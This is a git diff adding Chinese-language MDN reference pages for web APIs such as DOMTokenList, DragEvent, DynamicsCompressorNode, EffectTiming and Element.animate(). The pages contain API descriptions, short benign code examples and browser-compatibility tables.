diff --git a/files/zh-cn/web/api/domtokenlist/remove/index.html b/files/zh-cn/web/api/domtokenlist/remove/index.html new file mode 100644 index 0000000000..443250641d --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/remove/index.html @@ -0,0 +1,77 @@ +--- +title: DOMTokenList.remove() +slug: Web/API/DOMTokenList/remove +translation_of: Web/API/DOMTokenList/remove +--- +

{{APIRef("DOM")}}

+ +

remove() 方法从 {{domxref("DOMTokenList")}} 中移除指定标记。

+ +

语法

+ +
tokenList.remove(token1[, token2[, ...]]);
+ +

参数列表

+ +
+
tokenN...
+
表示要从列表中移除的一个 {{domxref("DOMString")}}。如果列表中不存在该字符串,不会出错也没有任何变化。
+
+ +

返回值

+ +

undefined

+ +

示例

+ +

在下面的示例中,我们使用 {{domxref("Element.classList")}} 检索 {{htmlelement("span")}} 元素上设置的class列表作为DOMTokenList。然后从列表中删除一个标记,并将该列表写入<span>的 {{domxref("Node.textContent")}} 中。

+ +

HTML:

+ +
<span class="a b c"></span>
+ +

JavaScript:

+ +
var span = document.querySelector("span");
+var classes = span.classList;
+classes.remove("c");
+span.textContent = classes;
+
+ +

输出如下:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

要一次删除多个class,可以提供多个标记。书写顺序不必与它们在列表中出现的顺序匹配:

+ +
let span = document.getElementsByTagName("span")[0],
+  classes = span.classList;
+
+classes.remove("c", "b");
+span.textContent = classes;
+
+ +

描述

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-remove','remove()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMTokenList.remove")}}

diff --git a/files/zh-cn/web/api/domtokenlist/replace/index.html b/files/zh-cn/web/api/domtokenlist/replace/index.html new file mode 100644 index 0000000000..53652d2c10 --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/replace/index.html @@ -0,0 +1,82 @@ +--- +title: DOMTokenList.replace() +slug: Web/API/DOMTokenList/replace +translation_of: Web/API/DOMTokenList/replace +--- +

{{APIRef("DOM")}}

+ +

{{domxref("DOMTokenList")}}接口的 replace() 方法可以将列表中一个已存在的token替换为一个新token。如果第一个参数token在列表中不存在, replace() 立刻返回false ,而不会将新token字符串添加到列表中。

+ +

语法

+ +
tokenList.replace(oldToken, newToken);
+ +

参数

+ +
+
oldToken
+
{{domxref("DOMString")}}类型,想要替换掉的字符串。
+
newToken
+
{{domxref("DOMString")}}类型,表示要将oldToken字符串替换成的字符串。
+
+ +

返回值

+ +

boolean类型, 如果oldToken被成功替换,返回 true ,否则返回false

+ +
+

Note: In older browsers, replace() returns void.

+
+ +

Examples

+ +

在下面的例子中,我们使用{{domxref("Element.classList")}}方法,将设置在{{htmlelement("span")}} 元素上的class列表检索为DOMTokenList 类型。接着我们替换一个字符串, 并且将新列表写入到 <span> 的内容{{domxref("Node.textContent")}}中。

+ +

首先,HTML代码如下:

+ +
<span class="a b c"></span>
+ +

然后是JavaScript:

+ +
let span = document.querySelector("span");
+let classes = span.classList;
+
+let result = classes.replace("c", "z");
+console.log(result);
+
+if (result) {
+  span.textContent = classes;
+} else {
+  span.textContent = 'token not replaced successfully';
+}
+ +

输出如下:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-replace','replace()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DOMTokenList.replace")}}

+
diff --git a/files/zh-cn/web/api/domtokenlist/toggle/index.html b/files/zh-cn/web/api/domtokenlist/toggle/index.html new file mode 100644 index 0000000000..e582da2e9e --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/toggle/index.html @@ -0,0 +1,144 @@ +--- +title: DOMTokenList.toggle() +slug: Web/API/DOMTokenList/toggle +tags: + - .toggle() + - DOMTokenList.toggle() + - classList +translation_of: Web/API/DOMTokenList/toggle +--- +

{{APIRef("DOM")}}

+ +

{{domxref("DOMTokenList")}} 接口的 toggle() 方法从列表中删除一个给定的标记 并返回 false 。 如果标记 不存在,则添加并且函数返回 true

+ +

语法

+ +
tokenList.toggle(token, force);
+ +

参数列表

+ +
+
token
+
标记列表中你想探查并切换的 {{domxref("DOMString")}} .
+
force {{optional_inline}}
+
一个{{domxref("Boolean")}} 值, 设置后会将方法变成单向操作. 如设置为false, 则会删除标记列表中匹配的给定标记,且不会再度添加. 如设置为 true, 则将在标记列表中添加给定标记,且不会再度删除。
+
+ +

返回值

+ +

该方法返回一个{{domxref("Boolean")}}值 — 如给定标记不存在于列表中返回false , 标记存在则返回true 。

+ +

Examples

+ +

In the following example we retrieve the list of classes set on a {{htmlelement("span")}} element as a DOMTokenList using {{domxref("Element.classList")}}. We then replace a token in the list, and write the list into the <span>'s {{domxref("Node.textContent")}}.

+ +

First, the HTML:

+ +
<span class="a b">classList is 'a b'</span>
+ +

Now the JavaScript:

+ +
var span = document.querySelector("span");
+var classes = span.classList;
+span.onclick = function() {
+  var result = classes.toggle("c");
+  if(result) {
+    span.textContent = "'c' added; classList is now '" + classes + "'.";
+  } else {
+    span.textContent = "'c' removed; classList is now '" + classes + "'.";
+  }
+}
+
+ +

The output looks like this:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-toggle','toggle()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}IE 9 and below - NO,  Windows 10, IE 11.608 - Yes{{CompatVersionUnknown}}{{CompatVersionUnknown}}
force argument{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
force argument{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/dragevent/datatransfer/index.html b/files/zh-cn/web/api/dragevent/datatransfer/index.html new file mode 100644 index 0000000000..a4ed8f2ad0 --- /dev/null +++ b/files/zh-cn/web/api/dragevent/datatransfer/index.html @@ -0,0 +1,120 @@ +--- +title: DragEvent.dataTransfer +slug: Web/API/DragEvent/dataTransfer +translation_of: Web/API/DragEvent/dataTransfer +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +
 
+ +

DataEvent.dataTransfer 属性保存着拖拽操作中的数据(作为一个DataTransfer对象)

+ +

This property is {{readonlyInline}}.

+ +

语法

+ +
var data = dragEvent.dataTransfer;
+
+ +

返回值

+ +
+
data
+
{{domxref("DataTransfer")}} 对象包含着 {{domxref("DragEvent","drag event's data")}}.
+
+ +

示例

+ +

这个例子展示了在{{event("dragend")}} 事件处理程序中获取拖拽中数据的方式。

+ +
function process_data(d) {
+   // Process the data ...
+}
+
+dragTarget.addEventListener("dragend", function(ev) {
+   // Call the drag and drop data processor
+   if (ev.dataTransfer != null) process_data(ev.dataTransfer);
+ }, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dom-dragevent-datatransfer", "DragEvent.dataTransfer")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dom-dragevent-datatransfer", "DragEvent.dataTransfer")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/dragevent/dragevent/index.html b/files/zh-cn/web/api/dragevent/dragevent/index.html new file mode 100644 index 0000000000..8171ad04a4 --- /dev/null +++ b/files/zh-cn/web/api/dragevent/dragevent/index.html @@ -0,0 +1,113 @@ +--- +title: DragEvent() +slug: Web/API/DragEvent/DragEvent +translation_of: Web/API/DragEvent/DragEvent +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

This constructor is used to create a synthetic {{domxref("DragEvent")}} object.

+ +

Although this interface has a constructor, it is not possible to create a useful {{domxref("DataTransfer")}} object from script, since {{domxref("DataTransfer")}} objects have a processing and security model that is coordinated by the browser during drag-and-drops.

+ +

该接口继承了 {{domxref("MouseEvent")}} 和 {{domxref("Event")}} 的属性。

+ +

语法

+ +
 event = new DragEvent(type, DragEventInit);
+ +

参数

+ +
+
type
+
Is a {{domxref("DOMString")}} representing the name of the event (see DragEvent event types).
+
DragEventInit{{optional_inline}}
+
+ +
+
Is a DragEventInit dictionary, having the following fields: + +
    +
  • "dataTransfer", optional and defaults to "null". The type is {{domxref("DataTransfer")}}.
  • +
+
+
+ +

The DragEventInit dictionary inherits from the {{domxref("MouseEvent.MouseEvent","MouseEventInit dictionary")}}.

+ +

标准

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#the-dragevent-interface", "DragEvent")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/dragevent/index.html b/files/zh-cn/web/api/dragevent/index.html new file mode 100644 index 0000000000..b95501000c --- /dev/null +++ b/files/zh-cn/web/api/dragevent/index.html @@ -0,0 +1,156 @@ +--- +title: DragEvent +slug: Web/API/DragEvent +translation_of: Web/API/DragEvent +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DragEvent 是一个表示拖、放交互的一个{{domxref("Event","DOM event")}} 接口。用户通过将指针设备(例如鼠标)放置在触摸表面上并且然后将指针拖动到新位置(诸如另一个DOM元素)来发起拖动。 应用程序可以按应用程序特定的方式自由解释拖放交互。

+ +

这个接口继承 {{domxref("MouseEvent")}} 和{{domxref("Event")}}属性

+ +

属性

+ +
+
{{domxref('DragEvent.dataTransfer')}} {{readonlyInline}}
+
在拖放交互期间传输的数据。
+
+ +

构造函数

+ +

虽然这个接口有一个构造函数,但不可能从脚本创建一个有用的 DataTransfer 对象,因为在拖放期间,有一个由浏览器分配的一个处理中和安全模式的{{domxref("DataTransfer")}}对象。

+ +
+
{{domxref("DragEvent.DragEvent", "DragEvent()")}}
+
创建合成和不可信的 DragEvent.
+
+ +

事件类型

+ +
+
{{event('drag')}}
+
拖动元素或选择文本时触发此事件。
+
{{event('dragend')}}
+
当拖动操作结束时(释放鼠标按钮或按下退出键),会触发此事件。
+
{{event('dragenter')}}
+
当拖动的元素或选择文本输入有效的放置目标时,会触发此事件。
+
{{event('dragexit')}}
+
当元素不再是拖动操作的选择目标时触发此事件。
+
{{event('dragleave')}}
+
当拖动的元素或文本选择离开有效的放置目标时,会触发此事件。
+
{{event('dragover')}}
+
当将元素或文本选择拖动到有效放置目标(每几百毫秒)上时,会触发此事件。
+
{{event('dragstart')}}
+
当用户开始拖动元素或选择文本时触发此事件。
+
{{event('drop')}}
+
当在有效放置目标上放置元素或选择文本时触发此事件。
+
+ +

全局事件处理

+ +
+
{{domxref('GlobalEventHandlers.ondrag')}}
+
{{event('drag')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
{{domxref('GlobalEventHandlers.ondragend')}}
+
{{event('dragend')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
{{domxref('GlobalEventHandlers.ondragenter')}}
+
{{event('dragenter')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
{{domxref('GlobalEventHandlers.ondragexit')}}
+
{{event('dragexit')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
{{domxref('GlobalEventHandlers.ondragleave')}}
+
{{event('dragleave')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
{{domxref('GlobalEventHandlers.ondragover')}}
+
{{event('dragover')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
{{domxref('GlobalEventHandlers.ondragstart')}}
+
{{event('dragstart')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
{{domxref('GlobalEventHandlers.ondrop')}}
+
{{event('drop')}} 事件的{{domxref('GlobalEventHandlers','全局事件处理')}}。
+
+ +

示例

+ +

每个属性,构造函数,事件类型和全局事件处理程序的示例都包含在它们各自的参考页中。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#the-dragevent-interface", "DragEvent")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

<embed height="0" id="xunlei_com_thunder_helper_plugin_d462f475-c18e-46be-bd10-327458d045bd" type="application/thunder_download_plugin" width="0">

diff --git a/files/zh-cn/web/api/dynamicscompressornode/index.html b/files/zh-cn/web/api/dynamicscompressornode/index.html new file mode 100644 index 0000000000..205bee48b2 --- /dev/null +++ b/files/zh-cn/web/api/dynamicscompressornode/index.html @@ -0,0 +1,108 @@ +--- +title: DynamicsCompressorNode +slug: Web/API/DynamicsCompressorNode +tags: + - API + - Audio + - DynamicsCompressorNode + - Web Audio API + - 动态压缩器 + - 媒体 + - 音频 +translation_of: Web/API/DynamicsCompressorNode +--- +

{{ APIRef("Web Audio API") }}

+ +
+

DynamicsCompressorNode 接口提供了一个压缩效果器,用以降低信号中最响部分的音量,来协助避免在多个声音同时播放并叠加在一起的时候产生的削波失真。通常用于音乐创作和游戏音效中。DynamicsCompressorNode 是一个 {{domxref("AudioNode")}} ,只有一路输入和一路输出,使用 {{domxref("AudioContext.createDynamicsCompressor()")}} 方法创建。

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1
Channel count mode"explicit"
Channel count2
Channel interpretation"speakers"
+ +

构造方法

+ +
+
{{domxref("DynamicsCompressorNode.DynamicsCompressorNode", "DynamicsCompressorNode()")}}
+
创建一个新的 DynamicsCompressorNode 对象实例。
+
+ +

属性

+ +

由父类 {{domxref("AudioNode")}} 派生

+ +
+
{{domxref("DynamicsCompressorNode.threshold")}} {{readonlyInline}}
+
比例系数 {{domxref("AudioParam")}} 型。分贝高于此值时,将会进行压缩。
+
{{domxref("DynamicsCompressorNode.knee")}} {{readonlyInline}}
+
比例系数 {{domxref("AudioParam")}} 型。当超出 threshold 设置的值之后,曲线在哪个点开始朝着 ratio 设置的部分平滑变换。
+
{{domxref("DynamicsCompressorNode.ratio")}} {{readonlyInline}}
+
比例系数 {{domxref("AudioParam")}} 型。输入增益变化多少来产生 1 dB 的输出。
+
{{domxref("DynamicsCompressorNode.reduction")}} {{readonlyInline}}
+
float 型。表示当前压缩器使用的增益压缩值。
+
{{domxref("DynamicsCompressorNode.attack")}} {{readonlyInline}}
+
比例系数 {{domxref("AudioParam")}} 型。降低增益 10 dB 的时间(单位为秒)。
+
{{domxref("DynamicsCompressorNode.release")}} {{readonlyInline}}
+
比例系数 {{domxref("AudioParam")}} 型。提升增益 10 dB 的时间(单位为秒)。
+
+ +

方法

+ +

没有自定义的方法,继承父类 {{domxref("AudioNode")}} 中的方法。

+ +

示例

+ +

{{page("/en-US/docs/Web/API/AudioContext.createDynamicsCompressor","Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#DynamicsCompressorNode-section', 'DynamicsCompressorNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DynamicsCompressorNode")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/effecttiming/easing/index.html b/files/zh-cn/web/api/effecttiming/easing/index.html new file mode 100644 index 0000000000..0ee0bfea9f --- /dev/null +++ b/files/zh-cn/web/api/effecttiming/easing/index.html @@ -0,0 +1,105 @@ +--- +title: EffectTiming.easing +slug: Web/API/EffectTiming/easing +translation_of: Web/API/EffectTiming/easing +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

这个{{domxref("EffectTiming")}} 词的 easing 属性在 Web Animations API 指定用于缩放时间以产生缓和效果的计时函数,easing 是动画随时间变化的速率。

+ +
+

{{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, and {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} all accept an object of timing properties including easing. The value of easing corresponds directly to {{domxref("AnimationEffectTimingReadOnly.easing")}} in {{domxref("AnimationEffectReadOnly.timing", "timing")}} objects returned by {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}}, and {{domxref("KeyframeEffect")}}.

+
+ +

Syntax

+ +
var timingProperties = {
+  easing: {{cssxref("single-transition-timing-function")}}
+}
+
+timingProperties.easing = {{cssxref("single-transition-timing-function")}}
+
+ +

Value

+ +

A string defining the timing function to use for easing transitions during the animation process. Accepts several pre-defined {{domxref("DOMString")}} values, a steps() timing function like steps(5, end), or a custom cubic-bezier value like cubic-bezier(0.42, 0, 0.58, 1). Defaults to linear. Available values include:

+ +
+
linear
+
A constant rate of change, neither accelerating nor deccelerating. 
+
cubic-bezier(<number>, <number>, <number>, <number>)
+
A diagram showing the points of a cubic bezier timing function.
+ Specifies a cubic Bézier timing function. The four numbers specify points P1 and P2 of the curve as (x1, y1, x2, y2). Both x values must be in the range [0, 1] or the definition is invalid.
+
ease
+
A decelerated rate of change, going from fast to slow. Equivalent to cubic-bezier(0.25, 0.1, 0.25, 1).
+
ease-in
+
An accelerated rate of change, going from slow to fast. Equivalent to cubic-bezier(0.42, 0, 1, 1).
+
ease-out
+
变化速率变慢了,从快到慢, 等价于cubic-bezier(0, 0, 0.58, 1).
+
ease-in-out
+
This rate of change speeds up in the middle. Equivalent to cubic-bezier(0.42, 0, 0.58, 1).
+ + +
steps(<integer>[, [ start | end ] ]?)
+
A diagram of the various steps timing functions.
+ Specifies a step timing function, which breaks the animation down into a number of equal time intervals. The browser flips to a different static frame when each interval is reached, rather than animating smoothly. The first parameter specifies the number of intervals in the function. It must be a positive integer (greater than 0). The second parameter, which is optional, specifies the point at which the change of values occur within the interval. If the second parameter is omitted, it is given the value end.
+
step-start
+
Equivalent to steps(1, start)
+
step-end
+
Equivalent to steps(1, end).
+
+ +

Examples

+ +

In the Red Queen's Race example, we animate Alice and the Red Queen by passing an easing of steps(7, end) to animate():

+ +
// Define the key frames
+var spriteFrames = [
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-100%)' }
+];
+
+// Get the element that represents Alice and the Red Queen
+var redQueen_alice_sprite = document.getElementById('red-queen_and_alice_sprite');
+
+// Animate Alice and the Red Queen using steps()
+var redQueen_alice = redQueen_alice_sprite.animate(
+spriteFrames, {
+  easing: 'steps(7, end)',
+  direction: "reverse",
+  duration: 600,
+  playbackRate: 1,
+  iterations: Infinity
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#time-transformations', 'easing' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

Browser compatibility

+ + + +

{{Compat("api.EffectTiming.easing", 2)}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/effecttiming/index.html b/files/zh-cn/web/api/effecttiming/index.html new file mode 100644 index 0000000000..f0b2b7c289 --- /dev/null +++ b/files/zh-cn/web/api/effecttiming/index.html @@ -0,0 +1,78 @@ +--- +title: EffectTiming +slug: Web/API/EffectTiming +tags: + - API + - Animation + - Dictionary + - EffectTiming + - Experimental + - Interface + - KeyframeEffect + - NeedsTranslation + - Reference + - TopicStub + - Web Animations + - animate + - web animations api +translation_of: Web/API/EffectTiming +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

The EffectTiming dictionary, part of the Web Animations API, is used by {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, and {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} to describe timing properties for animation effects. These properties are all optional, although without setting a duration the animation will not play.

+ +

Simply put, these properties describe how the {{Glossary("user agent")}} should go about making the transition from keyframe to keyframe, and how to behave when the animation begins and ends.

+ +

Properties

+ +
+
{{domxref("EffectTiming.delay", "delay")}} {{optional_inline}}
+
The number of milliseconds to delay the start of the animation. Defaults to 0.
+
{{domxref("EffectTiming.direction", "direction")}} {{optional_inline}}
+
Whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). Defaults to "normal".
+
{{domxref("EffectTiming.duration", "duration")}} {{optional_inline}}
+
The number of milliseconds each iteration of the animation takes to complete. Defaults to 0. Although this is technically optional, keep in mind that your animation will not run if this value is 0.
+
{{domxref("EffectTiming.easing", "easing")}} {{optional_inline}}
+
The rate of the animation's change over time. Accepts the pre-defined values "linear", "ease", "ease-in", "ease-out", and "ease-in-out", or a custom "cubic-bezier" value like "cubic-bezier(0.42, 0, 0.58, 1)". Defaults to "linear".
+
{{domxref("EffectTiming.endDelay", "endDelay")}} {{optional_inline}}
+
The number of milliseconds to delay after the end of an animation. This is primarily of use when sequencing animations based on the end time of another animation. Defaults to 0. 
+
{{domxref("EffectTiming.fill", "fill")}} {{optional_inline}}
+
Dictates whether the animation's effects should be reflected by the element(s) prior to playing ("backwards"), retained after the animation has completed playing ("forwards"), or both. Defaults to "none".
+
{{domxref("EffectTiming.iterationStart", "iterationStart")}} {{optional_inline}}
+
Describes at what point in the iteration the animation should start. 0.5 would indicate starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration. Defaults to 0.0.
+
{{domxref("EffectTiming.iterations", "iterations")}} {{optional_inline}}
+
The number of times the animation should repeat. Defaults to 1, and can also take a value of {{jsxref("Infinity")}} to make it repeat for as long as the element exists.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#the-effecttiming-dictionaries', 'EffectTiming' )}}{{Spec2('Web Animations')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.EffectTiming")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/accesskey/index.html b/files/zh-cn/web/api/element/accesskey/index.html new file mode 100644 index 0000000000..9b52b463e5 --- /dev/null +++ b/files/zh-cn/web/api/element/accesskey/index.html @@ -0,0 +1,22 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API接口 + - 属性 + - 需要丰富内容 +translation_of: Web/API/HTMLElement/accessKey +--- +
{{APIRef("DOM")}}
+ +
 
+ +

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

+ +
+

注:  Element.accessKey 属性很少使用,因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题,浏览器约定accessKey键与特定按键一起按(比如 Alt + accessKey)来生效快捷键行为。

+
+ +

 

+ +

 

diff --git a/files/zh-cn/web/api/element/activate_event/index.html b/files/zh-cn/web/api/element/activate_event/index.html new file mode 100644 index 0000000000..3185540e78 --- /dev/null +++ b/files/zh-cn/web/api/element/activate_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Element: DOMActivate event' +slug: Web/API/Element/Activate_event +tags: + - API + - 事件 + - 参考 +translation_of: Web/API/Element/DOMActivate_event +--- +

{{APIRef}}

+ +

{{Deprecated_Header}}

+ +

当元素被激活时发生,例如点击鼠标或键盘按键。

+ +

当元素被激活,如使用鼠标点击或使用键盘导航并激活至这个元素时, DOMActivate 事件被触发。

+ + + + + + + + + + + + + + + + +
+

Bubbles

+
+

Yes

+
+

Cancelable

+
+

Yes

+
+

Interface

+
+

{{domxref("MouseEvent")}}

+
+ +

示例

+ +
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseProfile="tiny"
+     xmlns:ev="http://www.w3.org/2001/xml-events"
+     width="6cm" height="5cm" viewBox="0 0 600 500">
+
+  <desc>Example: invoke an ECMAScript function from a DOMActivate event</desc>
+
+  <!-- ECMAScript to change the radius -->
+  <script type="application/ecmascript"><![CDATA[
+    function change(evt) {
+      var circle = evt.target;
+      var currentRadius = circle.getFloatTrait("r");
+      if (currentRadius == 100)
+        circle.setFloatTrait("r", currentRadius * 2);
+      else
+        circle.setFloatTrait("r", currentRadius * 0.5);
+    }
+  ]]></script>
+
+  <!-- Act on each DOMActivate event -->
+  <circle cx="300" cy="225" r="100" fill="red">
+    <handler type="application/ecmascript" ev:event="DOMActivate"> change(evt); </handler>
+  </circle>
+
+  <text x="300" y="480" font-family="Verdana" font-size="35" text-anchor="middle">
+    Activate the circle to change its size
+  </text>
+</svg>
+
+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-DOMActivate', 'DOMActivate')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.DOMActivate_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/animate/index.html b/files/zh-cn/web/api/element/animate/index.html new file mode 100644 index 0000000000..aa5efc7d61 --- /dev/null +++ b/files/zh-cn/web/api/element/animate/index.html @@ -0,0 +1,205 @@ +--- +title: Element.animate() +slug: Web/API/Element/animate +tags: + - js动画 + - 动画 + - 动画接口 +translation_of: Web/API/Element/animate +--- +
{{APIRef('Web Animations')}} {{SeeCompatTable}}
+ +

{{domxref("Element")}} 接口的animate() 方法是一个创建新{{domxref("Animation")}}的便捷方法,将它应用于元素,然后运行动画。它将返回一个新建的 {{domxref("Animation")}} 对象实例

+ +
+

一个元素上可以应用多个动画效果。你可以通过调用此函数获得这些动画效果的一个列表: {{domxref("Element.getAnimations()")}}.

+
+ +

语法

+ +
var animation = element.animate(keyframes, options); 
+ +

参数

+ +
+
keyframes 关键帧
+
+

一个对象,代表关键帧的一个集合

+
+
options 可选项
+
代表动画持续时间的整形数字 (以毫秒为单位), 或者一个包含一个或多个时间属性的对象:
+
+
+
id {{optional_inline}}
+
在 animate()里可作为唯一标识的属性: 一个用来引用动画的字符串( DOMString )
+
+ {{Page("/en-US/docs/Web/API/Web_Animations_API/Animation_timing_properties", "Properties")}}
+
+ +

未来的可选项

+ +

下面的可选项目前并非在所有地方都可用,但未来将会被加进来

+ +
+
composite {{optional_inline}} 合成
+
决定动画彼此之间的值如何结合起来, 单独的动画不指定自己的特定复合操作。 默认为 replace. +
    +
  • add 表示追加影响,每一次连续的迭代建立在前一个的基础上。 比如transform, translateX(-200px) 将不会覆盖 rotate(20deg) 的值,最终结果是 translateX(-200px) rotate(20deg)
  • +
  • accumulate 效果类似但是更智能一些: blur(2) 和blur(5) 的结果为blur(7), 而不是 blur(2) blur(5)
  • +
  • replace 新的值将会覆盖掉旧的
  • +
+
+
iterationComposite {{optional_inline}} 迭代合成 
+
决定动画迭代之间的值如何结合起来, 可以被设置为 accumulate 或者 replace (同上)。默认值为 replace.
+
spacing {{optional_inline}}
+
决定在动画持续时间内如何分配没有时间偏移的关键帧. 默认值为distribute. +
    +
  • distribute 分配的关键帧位置,使连续关键帧之间的距离相等。也就是说,没有任何偏移时,将会使关键帧均匀分到整个运行时间内
  • +
